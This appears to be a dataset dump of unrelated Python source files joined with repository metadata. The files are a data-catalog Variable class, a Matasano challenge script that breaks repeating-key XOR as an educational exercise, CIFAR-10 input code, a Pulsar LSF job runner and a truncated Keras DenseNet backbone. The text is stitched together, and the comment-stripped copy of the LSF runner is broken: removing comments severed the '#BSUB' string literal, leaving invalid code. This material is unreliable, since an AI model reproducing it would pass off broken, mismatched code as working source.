extreme number of values 3stdev outside the interquartile range # distinct number of distinct (unique) entries # outliers number of outliers (outside 1.5stdev the interquartile range # zero_percent percent of values that are zero # distinct_percent percent of values that are distinct """ data = self.data['summary_json'] return counts(data) def quantiles(self): """Returns the quantiles of the variable data.""" data = self.data['summary_json'] return quantiles(data) def top_values(self): """Returns information about the top values of the variable data.""" data = self.data['summary_json'] return top_values(data) def histogram(self): """Plots an histogram with the variable data.""" data = self.data['summary_json'] return histogram(data) def __repr__(self): descr = self.description if descr and len(descr) > _DESCRIPTION_LENGTH_LIMIT: descr = descr[0:_DESCRIPTION_LENGTH_LIMIT] + '...' return "<{classname}.get('{entity_id}')> #'{descr}'" \ .format(classname=self.__class__.__name__, entity_id=self._get_print_id(), descr=descr)

33.353234

117

0.602924

import pandas as pd from .entity import CatalogEntity from .repository.dataset_repo import get_dataset_repo from .repository.variable_repo import get_variable_repo from .repository.constants import VARIABLE_FILTER from .summary import variable_describe, head, tail, counts, quantiles, top_values, histogram _DESCRIPTION_LENGTH_LIMIT = 50 class Variable(CatalogEntity): _entity_repo = get_variable_repo() @property def datasets(self): return get_dataset_repo().get_all({VARIABLE_FILTER: self.id}) @property def name(self): return self.data['name'] @property def description(self): return self.data['description'] @property def column_name(self): return self.data['column_name'] @property def db_type(self): return self.data['db_type'] @property def dataset(self): return self.data['dataset_id'] @property def agg_method(self): return self.data['agg_method'] @property def variable_group(self): return self.data['variable_group_id'] @property def summary(self): return self.data['summary_json'] @property def project_name(self): project, _, _, _ = self.id.split('.') return project @property def schema_name(self): _, schema, _, _ = self.id.split('.') return schema @property def dataset_name(self): _, _, dataset, _ = self.id.split('.') return dataset def describe(self, autoformat=True): FLOAT_FORMAT = 'display.float_format' if autoformat: pd.set_option(FLOAT_FORMAT, lambda x: '%.3f' % x) data = self.data['summary_json'] return variable_describe(data) def head(self): data = self.data['summary_json'] return head(self.__class__, data) def tail(self): data = self.data['summary_json'] return tail(self.__class__, data) def counts(self): data = self.data['summary_json'] return counts(data) def quantiles(self): data = self.data['summary_json'] return quantiles(data) def top_values(self): data = self.data['summary_json'] return top_values(data) def histogram(self): data = self.data['summary_json'] return histogram(data) def __repr__(self): descr = self.description if descr and len(descr) > _DESCRIPTION_LENGTH_LIMIT: descr = descr[0:_DESCRIPTION_LENGTH_LIMIT] + '...' return "<{classname}.get('{entity_id}')> #'{descr}'" \ .format(classname=self.__class__.__name__, entity_id=self._get_print_id(), descr=descr)

true

f7018c8e09cd0883cd4c4b032d2a2a08d23843ea

1,961

py

Python

Set1/challenge6.py

BKreisel/Matasano-Crypto

6906d352fda4665cc60fdcfe7b95a3296d313cb6

[ "MIT" ]

null

Set1/challenge6.py

BKreisel/Matasano-Crypto

6906d352fda4665cc60fdcfe7b95a3296d313cb6

[ "MIT" ]

null

Set1/challenge6.py

BKreisel/Matasano-Crypto

6906d352fda4665cc60fdcfe7b95a3296d313cb6

[ "MIT" ]

null

from libcrypto import hamming_distance from libcrypto import split_blocks from libcrypto import xor from libcrypto import freq_score from base64 import b64decode from operator import itemgetter def main(): file64 = "" for line in open("../assets/inputS1C6.txt","r"): file64 += line.rstrip() file = bytearray(b64decode(file64)) distances = [] for keysize in range(2,40): dist = 0 sample_size = 10 for ctr in range(0, sample_size): b1 = bytearray(file[(keysize*ctr):(keysize*(ctr+1))]) b2 = bytearray(file[(keysize*(ctr+1)):(keysize*(ctr+2))]) dist += hamming_distance(b1, b2) / float(keysize) dist /= sample_size distances.append([keysize, dist]) distances = sorted(distances,key=itemgetter(1))[:1] print("Possible Solutions...\n") for key in distances: passphrase = "" key = key[0] blocks = split_blocks(key,file) transposed_blocks = [] for idx in range(0,key): tblock = bytearray() for block in blocks: try: tblock.append(block[idx]) except IndexError: pass transposed_blocks.append(tblock) for block in transposed_blocks: bytekeys = [] for i in range(1,int("ff",16)): xor_bytes = xor(bytearray(bytes({i})),block) try: xor_string = xor_bytes.decode("ascii") bytekeys.append([i,xor_string,freq_score(xor_string)]) except UnicodeDecodeError: next bytekeys.sort(key=lambda x: x[2], reverse=True) bkey = bytekeys[:1][0] passphrase += chr(bkey[0]) print("Key:{0}\n".format(passphrase)) print(xor(bytearray(passphrase.encode()),bytearray(file)).decode()) if __name__ == "__main__": main()

28.014286

75

0.559918

from libcrypto import hamming_distance from libcrypto import split_blocks from libcrypto import xor from libcrypto import freq_score from base64 import b64decode from operator import itemgetter def main(): file64 = "" for line in open("../assets/inputS1C6.txt","r"): file64 += line.rstrip() file = bytearray(b64decode(file64)) distances = [] for keysize in range(2,40): dist = 0 sample_size = 10 for ctr in range(0, sample_size): b1 = bytearray(file[(keysize*ctr):(keysize*(ctr+1))]) b2 = bytearray(file[(keysize*(ctr+1)):(keysize*(ctr+2))]) dist += hamming_distance(b1, b2) / float(keysize) dist /= sample_size distances.append([keysize, dist]) distances = sorted(distances,key=itemgetter(1))[:1] print("Possible Solutions...\n") for key in distances: passphrase = "" key = key[0] blocks = split_blocks(key,file) transposed_blocks = [] for idx in range(0,key): tblock = bytearray() for block in blocks: try: tblock.append(block[idx]) except IndexError: pass transposed_blocks.append(tblock) for block in transposed_blocks: bytekeys = [] for i in range(1,int("ff",16)): xor_bytes = xor(bytearray(bytes({i})),block) try: xor_string = xor_bytes.decode("ascii") bytekeys.append([i,xor_string,freq_score(xor_string)]) except UnicodeDecodeError: next bytekeys.sort(key=lambda x: x[2], reverse=True) bkey = bytekeys[:1][0] passphrase += chr(bkey[0]) print("Key:{0}\n".format(passphrase)) print(xor(bytearray(passphrase.encode()),bytearray(file)).decode()) if __name__ == "__main__": main()

true

f7018d7d290f789306ee6408d401f7694b5d77f5

9,853

py

Python

ML/tf-cifar-10/cifar10_input.py

PepSalehi/algorithms

1c20f57185e6324aa840ccff98e69764b4213131

[ "MIT" ]

null

ML/tf-cifar-10/cifar10_input.py

PepSalehi/algorithms

1c20f57185e6324aa840ccff98e69764b4213131

[ "MIT" ]

null

ML/tf-cifar-10/cifar10_input.py

PepSalehi/algorithms

1c20f57185e6324aa840ccff98e69764b4213131

[ "MIT" ]

1

2019-12-09T21:40:46.000Z

# Copyright 2015 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== """Routine for decoding the CIFAR-10 binary file format.""" from __future__ import absolute_import from __future__ import division from __future__ import print_function import os from six.moves import xrange # pylint: disable=redefined-builtin import tensorflow as tf # Process images of this size. Note that this differs from the original CIFAR # image size of 32 x 32. If one alters this number, then the entire model # architecture will change and any model would need to be retrained. IMAGE_SIZE = 24 # Global constants describing the CIFAR-10 data set. NUM_CLASSES = 10 NUM_EXAMPLES_PER_EPOCH_FOR_TRAIN = 50000 NUM_EXAMPLES_PER_EPOCH_FOR_EVAL = 10000 def read_cifar10(filename_queue): """Reads and parses examples from CIFAR10 data files. Recommendation: if you want N-way read parallelism, call this function N times. This will give you N independent Readers reading different files & positions within those files, which will give better mixing of examples. Args: filename_queue: A queue of strings with the filenames to read from. Returns: An object representing a single example, with the following fields: height: number of rows in the result (32) width: number of columns in the result (32) depth: number of color channels in the result (3) key: a scalar string Tensor describing the filename & record number for this example. label: an int32 Tensor with the label in the range 0..9. uint8image: a [height, width, depth] uint8 Tensor with the image data """ class CIFAR10Record(object): pass result = CIFAR10Record() # Dimensions of the images in the CIFAR-10 dataset. # See http://www.cs.toronto.edu/~kriz/cifar.html for a description of the # input format. label_bytes = 1 # 2 for CIFAR-100 result.height = 32 result.width = 32 result.depth = 3 image_bytes = result.height * result.width * result.depth # Every record consists of a label followed by the image, with a # fixed number of bytes for each. record_bytes = label_bytes + image_bytes # Read a record, getting filenames from the filename_queue. No # header or footer in the CIFAR-10 format, so we leave header_bytes # and footer_bytes at their default of 0. reader = tf.FixedLengthRecordReader(record_bytes=record_bytes) result.key, value = reader.read(filename_queue) # Convert from a string to a vector of uint8 that is record_bytes long. record_bytes = tf.decode_raw(value, tf.uint8) # The first bytes represent the label, which we convert from uint8->int32. result.label = tf.cast( tf.strided_slice(record_bytes, [0], [label_bytes], [1]), tf.int32) # The remaining bytes after the label represent the image, which we reshape # from [depth * height * width] to [depth, height, width]. depth_major = tf.reshape( tf.strided_slice(record_bytes, [label_bytes], [label_bytes + image_bytes], [1]), [result.depth, result.height, result.width]) # Convert from [depth, height, width] to [height, width, depth]. result.uint8image = tf.transpose(depth_major, [1, 2, 0]) return result def _generate_image_and_label_batch(image, label, min_queue_examples, batch_size, shuffle): """Construct a queued batch of images and labels. Args: image: 3-D Tensor of [height, width, 3] of type.float32. label: 1-D Tensor of type.int32 min_queue_examples: int32, minimum number of samples to retain in the queue that provides of batches of examples. batch_size: Number of images per batch. shuffle: boolean indicating whether to use a shuffling queue. Returns: images: Images. 4D tensor of [batch_size, height, width, 3] size. labels: Labels. 1D tensor of [batch_size] size. """ # Create a queue that shuffles the examples, and then # read 'batch_size' images + labels from the example queue. num_preprocess_threads = 16 if shuffle: images, label_batch = tf.train.shuffle_batch( [image, label], batch_size=batch_size, num_threads=num_preprocess_threads, capacity=min_queue_examples + 3 * batch_size, min_after_dequeue=min_queue_examples) else: images, label_batch = tf.train.batch( [image, label], batch_size=batch_size, num_threads=num_preprocess_threads, capacity=min_queue_examples + 3 * batch_size) # Display the training images in the visualizer. tf.summary.image('images', images) return images, tf.reshape(label_batch, [batch_size]) def distorted_inputs(data_dir, batch_size): """Construct distorted input for CIFAR training using the Reader ops. Args: data_dir: Path to the CIFAR-10 data directory. batch_size: Number of images per batch. Returns: images: Images. 4D tensor of [batch_size, IMAGE_SIZE, IMAGE_SIZE, 3] size. labels: Labels. 1D tensor of [batch_size] size. """ filenames = [os.path.join(data_dir, 'data_batch_%d.bin' % i) for i in xrange(1, 6)] for f in filenames: if not tf.gfile.Exists(f): raise ValueError('Failed to find file: ' + f) # Create a queue that produces the filenames to read. filename_queue = tf.train.string_input_producer(filenames) # Read examples from files in the filename queue. read_input = read_cifar10(filename_queue) reshaped_image = tf.cast(read_input.uint8image, tf.float32) height = IMAGE_SIZE width = IMAGE_SIZE # Image processing for training the network. Note the many random # distortions applied to the image. # Randomly crop a [height, width] section of the image. distorted_image = tf.random_crop(reshaped_image, [height, width, 3]) # Randomly flip the image horizontally. distorted_image = tf.image.random_flip_left_right(distorted_image) # Because these operations are not commutative, consider randomizing # the order their operation. distorted_image = tf.image.random_brightness(distorted_image, max_delta=63) distorted_image = tf.image.random_contrast(distorted_image, lower=0.2, upper=1.8) # Subtract off the mean and divide by the variance of the pixels. float_image = tf.image.per_image_standardization(distorted_image) # Set the shapes of tensors. float_image.set_shape([height, width, 3]) read_input.label.set_shape([1]) # Ensure that the random shuffling has good mixing properties. min_fraction_of_examples_in_queue = 0.4 min_queue_examples = int(NUM_EXAMPLES_PER_EPOCH_FOR_TRAIN * min_fraction_of_examples_in_queue) print ('Filling queue with %d CIFAR images before starting to train. ' 'This will take a few minutes.' % min_queue_examples) # Generate a batch of images and labels by building up a queue of examples. return _generate_image_and_label_batch(float_image, read_input.label, min_queue_examples, batch_size, shuffle=True) def inputs(eval_data, data_dir, batch_size): """Construct input for CIFAR evaluation using the Reader ops. Args: eval_data: bool, indicating if one should use the train or eval data set. data_dir: Path to the CIFAR-10 data directory. batch_size: Number of images per batch. Returns: images: Images. 4D tensor of [batch_size, IMAGE_SIZE, IMAGE_SIZE, 3] size. labels: Labels. 1D tensor of [batch_size] size. """ if not eval_data: filenames = [os.path.join(data_dir, 'data_batch_%d.bin' % i) for i in xrange(1, 6)] num_examples_per_epoch = NUM_EXAMPLES_PER_EPOCH_FOR_TRAIN else: filenames = [os.path.join(data_dir, 'test_batch.bin')] num_examples_per_epoch = NUM_EXAMPLES_PER_EPOCH_FOR_EVAL for f in filenames: if not tf.gfile.Exists(f): raise ValueError('Failed to find file: ' + f) # Create a queue that produces the filenames to read. filename_queue = tf.train.string_input_producer(filenames) # Read examples from files in the filename queue. read_input = read_cifar10(filename_queue) reshaped_image = tf.cast(read_input.uint8image, tf.float32) height = IMAGE_SIZE width = IMAGE_SIZE # Image processing for evaluation. # Crop the central [height, width] of the image. resized_image = tf.image.resize_image_with_crop_or_pad(reshaped_image, width, height) # Subtract off the mean and divide by the variance of the pixels. float_image = tf.image.per_image_standardization(resized_image) # Ensure that the random shuffling has good mixing properties. min_fraction_of_examples_in_queue = 0.4 min_queue_examples = int(num_examples_per_epoch * min_fraction_of_examples_in_queue) # Generate a batch of images and labels by building up a queue of examples. if eval_data: read_input.label.set_shape((1,)) return _generate_image_and_label_batch(float_image, read_input.label, min_queue_examples, batch_size, shuffle=False)

38.488281

80

0.703745

from __future__ import absolute_import from __future__ import division from __future__ import print_function import os from six.moves import xrange import tensorflow as tf IMAGE_SIZE = 24 NUM_CLASSES = 10 NUM_EXAMPLES_PER_EPOCH_FOR_TRAIN = 50000 NUM_EXAMPLES_PER_EPOCH_FOR_EVAL = 10000 def read_cifar10(filename_queue): class CIFAR10Record(object): pass result = CIFAR10Record() label_bytes = 1 result.height = 32 result.width = 32 result.depth = 3 image_bytes = result.height * result.width * result.depth record_bytes = label_bytes + image_bytes reader = tf.FixedLengthRecordReader(record_bytes=record_bytes) result.key, value = reader.read(filename_queue) record_bytes = tf.decode_raw(value, tf.uint8) result.label = tf.cast( tf.strided_slice(record_bytes, [0], [label_bytes], [1]), tf.int32) depth_major = tf.reshape( tf.strided_slice(record_bytes, [label_bytes], [label_bytes + image_bytes], [1]), [result.depth, result.height, result.width]) result.uint8image = tf.transpose(depth_major, [1, 2, 0]) return result def _generate_image_and_label_batch(image, label, min_queue_examples, batch_size, shuffle): num_preprocess_threads = 16 if shuffle: images, label_batch = tf.train.shuffle_batch( [image, label], batch_size=batch_size, num_threads=num_preprocess_threads, capacity=min_queue_examples + 3 * batch_size, min_after_dequeue=min_queue_examples) else: images, label_batch = tf.train.batch( [image, label], batch_size=batch_size, num_threads=num_preprocess_threads, capacity=min_queue_examples + 3 * batch_size) tf.summary.image('images', images) return images, tf.reshape(label_batch, [batch_size]) def distorted_inputs(data_dir, batch_size): filenames = [os.path.join(data_dir, 'data_batch_%d.bin' % i) for i in xrange(1, 6)] for f in filenames: if not tf.gfile.Exists(f): raise ValueError('Failed to find file: ' + f) filename_queue = tf.train.string_input_producer(filenames) read_input = read_cifar10(filename_queue) reshaped_image = tf.cast(read_input.uint8image, tf.float32) height = IMAGE_SIZE width = IMAGE_SIZE distorted_image = tf.random_crop(reshaped_image, [height, width, 3]) distorted_image = tf.image.random_flip_left_right(distorted_image) distorted_image = tf.image.random_brightness(distorted_image, max_delta=63) distorted_image = tf.image.random_contrast(distorted_image, lower=0.2, upper=1.8) float_image = tf.image.per_image_standardization(distorted_image) float_image.set_shape([height, width, 3]) read_input.label.set_shape([1]) min_fraction_of_examples_in_queue = 0.4 min_queue_examples = int(NUM_EXAMPLES_PER_EPOCH_FOR_TRAIN * min_fraction_of_examples_in_queue) print ('Filling queue with %d CIFAR images before starting to train. ' 'This will take a few minutes.' % min_queue_examples) return _generate_image_and_label_batch(float_image, read_input.label, min_queue_examples, batch_size, shuffle=True) def inputs(eval_data, data_dir, batch_size): if not eval_data: filenames = [os.path.join(data_dir, 'data_batch_%d.bin' % i) for i in xrange(1, 6)] num_examples_per_epoch = NUM_EXAMPLES_PER_EPOCH_FOR_TRAIN else: filenames = [os.path.join(data_dir, 'test_batch.bin')] num_examples_per_epoch = NUM_EXAMPLES_PER_EPOCH_FOR_EVAL for f in filenames: if not tf.gfile.Exists(f): raise ValueError('Failed to find file: ' + f) filename_queue = tf.train.string_input_producer(filenames) read_input = read_cifar10(filename_queue) reshaped_image = tf.cast(read_input.uint8image, tf.float32) height = IMAGE_SIZE width = IMAGE_SIZE resized_image = tf.image.resize_image_with_crop_or_pad(reshaped_image, width, height) float_image = tf.image.per_image_standardization(resized_image) min_fraction_of_examples_in_queue = 0.4 min_queue_examples = int(num_examples_per_epoch * min_fraction_of_examples_in_queue) if eval_data: read_input.label.set_shape((1,)) return _generate_image_and_label_batch(float_image, read_input.label, min_queue_examples, batch_size, shuffle=False)

true

f7018e781d7c288b0bd46b3550d3a7ddf6a5d2d6

4,842

py

Python

pulsar/managers/util/cli/job/lsf.py

usegalaxy-eu/pulsar

4dcaf61cceded8f0a83801cf1e9847e62656809f

[ "Apache-2.0" ]

null

pulsar/managers/util/cli/job/lsf.py

usegalaxy-eu/pulsar

4dcaf61cceded8f0a83801cf1e9847e62656809f

[ "Apache-2.0" ]

null

pulsar/managers/util/cli/job/lsf.py

usegalaxy-eu/pulsar

4dcaf61cceded8f0a83801cf1e9847e62656809f

[ "Apache-2.0" ]

null

# A simple CLI runner for slurm that can be used when running Galaxy from a # non-submit host and using a Slurm cluster. from logging import getLogger try: from galaxy.model import Job job_states = Job.states except ImportError: # Not in Galaxy, map Galaxy job states to Pulsar ones. from pulsar.util import enum job_states = enum(RUNNING='running', OK='complete', QUEUED='queued', ERROR="failed") from ..job import BaseJobExec log = getLogger(__name__) argmap = { 'memory': '-M', # There is code in job_script_kwargs relying on this name's setting 'cores': '-n', 'queue': '-q', 'working_dir': '-cwd', 'project': '-P' } class LSF(BaseJobExec): def __init__(self, **params): self.params = {} for k, v in params.items(): self.params[k] = v def job_script_kwargs(self, ofile, efile, job_name): scriptargs = {'-o': ofile, '-e': efile, '-J': job_name} # Map arguments using argmap. for k, v in self.params.items(): if k == 'plugin': continue try: if k == 'memory': # Memory requires both -m and -R rusage[mem=v] request scriptargs['-R'] = "\"rusage[mem=%s]\"" % v if not k.startswith('-'): k = argmap[k] scriptargs[k] = v except Exception: log.warning('Unrecognized long argument passed to LSF CLI plugin: %s' % k) # Generated template. template_scriptargs = '' for k, v in scriptargs.items(): template_scriptargs += '#BSUB %s %s\n' % (k, v) return dict(headers=template_scriptargs) def submit(self, script_file): # bsub returns Job <9147983> is submitted to default queue <research-rh7>. # This should be really handled outside with something like # parse_external. Currently CLI runner expect this to just send it in the last position # of the string. return "bsub <%s | awk '{ print $2}' | sed 's/[<>]//g'" % script_file def delete(self, job_id): return 'bkill %s' % job_id def get_status(self, job_ids=None): return "bjobs -a -o \"id stat\" -noheader" # check this def get_single_status(self, job_id): return "bjobs -o stat -noheader " + job_id def parse_status(self, status, job_ids): # Get status for each job, skipping header. rval = {} for line in status.splitlines(): job_id, state = line.split() if job_id in job_ids: # map job states to Galaxy job states. rval[job_id] = self._get_job_state(state) return rval def parse_single_status(self, status, job_id): if not status: # Job not found in LSF, most probably finished and forgotten. # lsf outputs: Job <num> is not found -- but that is on the stderr # Note: a very old failed job job will not be shown here either, # which would be badly handled here. So this only works well when Galaxy # is constantly monitoring the jobs. The logic here is that DONE jobs get forgotten # faster than failed jobs. log.warning("Job id '%s' not found LSF status check" % job_id) return job_states.OK return self._get_job_state(status) def get_failure_reason(self, job_id): return "bjobs -l " + job_id def parse_failure_reason(self, reason, job_id): # LSF will produce the following in the job output file: # TERM_MEMLIMIT: job killed after reaching LSF memory usage limit. # Exited with exit code 143. for line in reason.splitlines(): if "TERM_MEMLIMIT" in line: from galaxy.jobs import JobState return JobState.runner_states.MEMORY_LIMIT_REACHED return None def _get_job_state(self, state): # based on: # https://www.ibm.com/support/knowledgecenter/en/SSETD4_9.1.3/lsf_admin/job_state_lsf.html # https://www.ibm.com/support/knowledgecenter/en/SSETD4_9.1.2/lsf_command_ref/bjobs.1.html try: return { 'EXIT': job_states.ERROR, 'RUN': job_states.RUNNING, 'PEND': job_states.QUEUED, 'DONE': job_states.OK, 'PSUSP': job_states.ERROR, 'USUSP': job_states.ERROR, 'SSUSP': job_states.ERROR, 'UNKWN': job_states.ERROR, 'WAIT': job_states.QUEUED, 'ZOMBI': job_states.ERROR }.get(state) except KeyError: raise KeyError("Failed to map LSF status code [%s] to job state." % state) __all__ = ('LSF',)

37.246154

98

0.581991

from logging import getLogger try: from galaxy.model import Job job_states = Job.states except ImportError: from pulsar.util import enum job_states = enum(RUNNING='running', OK='complete', QUEUED='queued', ERROR="failed") from ..job import BaseJobExec log = getLogger(__name__) argmap = { 'memory': '-M', 'cores': '-n', 'queue': '-q', 'working_dir': '-cwd', 'project': '-P' } class LSF(BaseJobExec): def __init__(self, **params): self.params = {} for k, v in params.items(): self.params[k] = v def job_script_kwargs(self, ofile, efile, job_name): scriptargs = {'-o': ofile, '-e': efile, '-J': job_name} # Map arguments using argmap. for k, v in self.params.items(): if k == 'plugin': continue try: if k == 'memory': # Memory requires both -m and -R rusage[mem=v] request scriptargs['-R'] = "\"rusage[mem=%s]\"" % v if not k.startswith('-'): k = argmap[k] scriptargs[k] = v except Exception: log.warning('Unrecognized long argument passed to LSF CLI plugin: %s' % k) # Generated template. template_scriptargs = '' for k, v in scriptargs.items(): template_scriptargs += ' return dict(headers=template_scriptargs) def submit(self, script_file): # bsub returns Job <9147983> is submitted to default queue <research-rh7>. # This should be really handled outside with something like # parse_external. Currently CLI runner expect this to just send it in the last position # of the string. return "bsub <%s | awk '{ print $2}' | sed 's/[<>]//g'" % script_file def delete(self, job_id): return 'bkill %s' % job_id def get_status(self, job_ids=None): return "bjobs -a -o \"id stat\" -noheader" # check this def get_single_status(self, job_id): return "bjobs -o stat -noheader " + job_id def parse_status(self, status, job_ids): # Get status for each job, skipping header. rval = {} for line in status.splitlines(): job_id, state = line.split() if job_id in job_ids: # map job states to Galaxy job states. rval[job_id] = self._get_job_state(state) return rval def parse_single_status(self, status, job_id): if not status: # Job not found in LSF, most probably finished and forgotten. # lsf outputs: Job <num> is not found -- but that is on the stderr # Note: a very old failed job job will not be shown here either, # which would be badly handled here. So this only works well when Galaxy # is constantly monitoring the jobs. The logic here is that DONE jobs get forgotten # faster than failed jobs. log.warning("Job id '%s' not found LSF status check" % job_id) return job_states.OK return self._get_job_state(status) def get_failure_reason(self, job_id): return "bjobs -l " + job_id def parse_failure_reason(self, reason, job_id): # LSF will produce the following in the job output file: # TERM_MEMLIMIT: job killed after reaching LSF memory usage limit. # Exited with exit code 143. for line in reason.splitlines(): if "TERM_MEMLIMIT" in line: from galaxy.jobs import JobState return JobState.runner_states.MEMORY_LIMIT_REACHED return None def _get_job_state(self, state): # based on: # https://www.ibm.com/support/knowledgecenter/en/SSETD4_9.1.3/lsf_admin/job_state_lsf.html # https://www.ibm.com/support/knowledgecenter/en/SSETD4_9.1.2/lsf_command_ref/bjobs.1.html try: return { 'EXIT': job_states.ERROR, 'RUN': job_states.RUNNING, 'PEND': job_states.QUEUED, 'DONE': job_states.OK, 'PSUSP': job_states.ERROR, 'USUSP': job_states.ERROR, 'SSUSP': job_states.ERROR, 'UNKWN': job_states.ERROR, 'WAIT': job_states.QUEUED, 'ZOMBI': job_states.ERROR }.get(state) except KeyError: raise KeyError("Failed to map LSF status code [%s] to job state." % state) __all__ = ('LSF',)

true

f7018e954099790a05cbbdee6167be18b7c2ecc6

10,867

py

Python

keras_frcnn/densenet.py

Heyjuke58/frcnn-wind-turbine-detection

29311020188d3a26c8935cae710bd2c5013653ab

[ "Apache-2.0" ]

null

keras_frcnn/densenet.py

Heyjuke58/frcnn-wind-turbine-detection

29311020188d3a26c8935cae710bd2c5013653ab

[ "Apache-2.0" ]

null

keras_frcnn/densenet.py

Heyjuke58/frcnn-wind-turbine-detection

29311020188d3a26c8935cae710bd2c5013653ab

[ "Apache-2.0" ]

null

"""DenseNet models for Keras. # Reference paper - [Densely Connected Convolutional Networks] (https://arxiv.org/abs/1608.06993) (CVPR 2017 Best Paper Award) # Reference implementation - [Torch DenseNets] (https://github.com/liuzhuang13/DenseNet/blob/master/models/densenet.lua) - [TensorNets] (https://github.com/taehoonlee/tensornets/blob/master/tensornets/densenets.py) """ from __future__ import absolute_import from __future__ import division from __future__ import print_function import os from keras import backend as K from keras.layers import Input, Add, Dense, Activation, Flatten, Convolution2D, MaxPooling2D, ZeroPadding2D, \ AveragePooling2D, TimeDistributed, BatchNormalization, Dropout from keras import layers from keras_frcnn.RoiPoolingConv import RoiPoolingConv """ couple of functions for frcnn.. """ def get_weight_path(): return os.path.join("pretrain", 'densenet121_weights_tf_dim_ordering_tf_kernels_notop.h5') def get_img_output_length(width, height): def get_output_length(input_length): # zero_pad input_length += 6 # apply 4 strided convolutions filter_sizes = [7, 3, 1, 1] stride = 2 for filter_size in filter_sizes: input_length = (input_length - filter_size + stride) // stride return input_length return get_output_length(width), get_output_length(height) BASE_WEIGTHS_PATH = ( 'https://github.com/keras-team/keras-applications/' 'releases/download/densenet/') DENSENET121_WEIGHT_PATH = ( BASE_WEIGTHS_PATH + 'densenet121_weights_tf_dim_ordering_tf_kernels.h5') DENSENET121_WEIGHT_PATH_NO_TOP = ( BASE_WEIGTHS_PATH + 'densenet121_weights_tf_dim_ordering_tf_kernels_notop.h5') DENSENET169_WEIGHT_PATH = ( BASE_WEIGTHS_PATH + 'densenet169_weights_tf_dim_ordering_tf_kernels.h5') DENSENET169_WEIGHT_PATH_NO_TOP = ( BASE_WEIGTHS_PATH + 'densenet169_weights_tf_dim_ordering_tf_kernels_notop.h5') DENSENET201_WEIGHT_PATH = ( BASE_WEIGTHS_PATH + 'densenet201_weights_tf_dim_ordering_tf_kernels.h5') DENSENET201_WEIGHT_PATH_NO_TOP = ( BASE_WEIGTHS_PATH + 'densenet201_weights_tf_dim_ordering_tf_kernels_notop.h5') def dense_block(x, blocks, name): """A dense block. # Arguments x: input tensor. blocks: integer, the number of building blocks. name: string, block label. # Returns output tensor for the block. """ for i in range(blocks): x = conv_block(x, 32, name=name + '_block' + str(i + 1)) return x def transition_block(x, reduction, name): """A transition block. # Arguments x: input tensor. reduction: float, compression rate at transition layers. name: string, block label. # Returns output tensor for the block. """ bn_axis = 3 if K.image_data_format() == 'channels_last' else 1 x = layers.BatchNormalization(axis=bn_axis, epsilon=1.001e-5, name=name + '_bn')(x) x = layers.Activation('relu', name=name + '_relu')(x) x = layers.Conv2D(int(K.int_shape(x)[bn_axis] * reduction), 1, use_bias=False, name=name + '_conv')(x) x = layers.AveragePooling2D(2, strides=2, name=name + '_pool', padding='same')(x) return x def conv_block(x, growth_rate, name): """A building block for a dense block. # Arguments x: input tensor. growth_rate: float, growth rate at dense layers. name: string, block label. # Returns Output tensor for the block. """ bn_axis = 3 if K.image_data_format() == 'channels_last' else 1 x1 = layers.BatchNormalization(axis=bn_axis, epsilon=1.001e-5, name=name + '_0_bn')(x) x1 = layers.Activation('relu', name=name + '_0_relu')(x1) x1 = layers.Conv2D(4 * growth_rate, 1, use_bias=False, name=name + '_1_conv')(x1) x1 = layers.BatchNormalization(axis=bn_axis, epsilon=1.001e-5, name=name + '_1_bn')(x1) x1 = layers.Activation('relu', name=name + '_1_relu')(x1) x1 = layers.Conv2D(growth_rate, 3, padding='same', use_bias=False, name=name + '_2_conv')(x1) x = layers.Concatenate(axis=bn_axis, name=name + '_concat')([x, x1]) return x def nn_base(input_tensor=None, blocks=[6, 12, 24, 16], include_top=False, weights='imagenet', input_shape=None, pooling=None, classes=1000, **kwargs): """Instantiates the DenseNet architecture. Optionally loads weights pre-trained on ImageNet. Note that the data format convention used by the model is the one specified in your Keras config at `~/.keras/keras.json`. # Arguments blocks: numbers of building blocks for the four dense layers. include_top: whether to include the fully-connected layer at the top of the network. weights: one of `None` (random initialization), 'imagenet' (pre-training on ImageNet), or the path to the weights file to be loaded. input_tensor: optional Keras tensor (i.e. output of `layers.Input()`) to use as image input for the model. input_shape: optional shape tuple, only to be specified if `include_top` is False (otherwise the input shape has to be `(224, 224, 3)` (with `'channels_last'` data format) or `(3, 224, 224)` (with `'channels_first'` data format). It should have exactly 3 inputs channels, and width and height should be no smaller than 32. E.g. `(200, 200, 3)` would be one valid value. pooling: optional pooling mode for feature extraction when `include_top` is `False`. - `None` means that the output of the model will be the 4D tensor output of the last convolutional block. - `avg` means that global average pooling will be applied to the output of the last convolutional block, and thus the output of the model will be a 2D tensor. - `max` means that global max pooling will be applied. classes: optional number of classes to classify images into, only to be specified if `include_top` is True, and if no `weights` argument is specified. # Returns A Keras model instance. # Raises ValueError: in case of invalid argument for `weights`, or invalid input shape. """ if not (weights in {'imagenet', None} or os.path.exists(weights)): raise ValueError('The `weights` argument should be either ' '`None` (random initialization), `imagenet` ' '(pre-training on ImageNet), ' 'or the path to the weights file to be loaded.') if weights == 'imagenet' and include_top and classes != 1000: raise ValueError('If using `weights` as `"imagenet"` with `include_top`' ' as true, `classes` should be 1000') # Determine proper input shape if K.image_dim_ordering() == 'th': input_shape = (3, None, None) else: input_shape = (None, None, 3) if input_tensor is None: img_input = Input(shape=input_shape) else: if not K.is_keras_tensor(input_tensor): img_input = Input(tensor=input_tensor, shape=input_shape) else: img_input = input_tensor if K.image_dim_ordering() == 'tf': bn_axis = 3 else: bn_axis = 1 x = ZeroPadding2D((3, 3))(img_input) x = layers.Conv2D(64, 7, strides=2, use_bias=False, name='conv1/conv')(x) x = layers.BatchNormalization( axis=bn_axis, epsilon=1.001e-5, name='conv1/bn')(x) x = layers.Activation('relu', name='conv1/relu')(x) # x = layers.ZeroPadding2D(padding=((1, 1), (1, 1)))(x) x = layers.MaxPooling2D(3, strides=2, name='pool1')(x) x = dense_block(x, blocks[0], name='conv2') x = transition_block(x, 0.5, name='pool2') x = dense_block(x, blocks[1], name='conv3') x = transition_block(x, 0.5, name='pool3') x = dense_block(x, blocks[2], name='conv4') # here, the output size is similar to resnet50. stop here. # x = transition_block(x, 0.5, name='pool4') # x = dense_block(x, blocks[3], name='conv5') x = 